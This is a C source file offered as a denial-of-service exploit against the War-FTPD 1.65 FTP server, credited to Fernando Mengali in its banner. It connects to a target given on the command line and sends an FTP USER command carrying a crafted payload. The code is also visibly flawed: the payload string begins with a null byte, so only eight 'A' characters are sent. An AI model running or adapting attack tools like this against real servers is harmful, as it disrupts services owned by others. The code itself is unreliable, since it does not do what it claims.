#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
void intro();
void main_exploit(char *ip, int port);
int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s <ip> <port>\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    intro();
    main_exploit(argv[1], atoi(argv[2]));
    return 0;
}
void intro() {
    printf("\n"
           "---------- # ------------------------------------------------------------------\n"
           "--------- ##= ------- [+] War-FTPD 1.65 Username - Denied of Service (DoS) -----\n"
           "-------- ##=== ----------------------------------------------------------------\n"
           "------ ###==#=== --------------------------------------------------------------\n"
           "---- ####===##==== ------------------------------------------------------------\n"
           "-- #####====###===== -----          Coded by Fernando Mengali             -----\n"
           "- #####=====####===== -----        [email protected]            -----\n"
           "- #####=====####===== --------------------------------------------------------\n"
           "--- ####=  #  #==== --------    Prepare to exploiting the server   ------------\n"
           "--------- ##= ------------------------------------------------------------------\n"
           "------- ####=== ---------------------------------------------------------------\n");
}
void main_exploit(char *ip, int port) {
    char exploit[1000];
    strcpy(exploit, "\x41\x41\x41\x41\x41\x41\x41\x41"); // Add more 'A's if needed
    strcat(exploit, "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\r\n");
    int sockfd;
    struct sockaddr_in server_addr;
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("Socket creation error");
        exit(EXIT_FAILURE);
    }
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
        perror("Invalid address/ Address not supported");
        exit(EXIT_FAILURE);
    }
    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Connection Failed");
        exit(EXIT_FAILURE);
    }
    char buffer[1024] = {0};
    read(sockfd, buffer, sizeof(buffer));
    printf("Connected => %s\n", buffer);
    write(sockfd, "USER ", strlen("USER "));
    write(sockfd, exploit, strlen(exploit));
    read(sockfd, buffer, sizeof(buffer));
    printf("Authentication USER: %s\n", buffer);
    close(sockfd);
}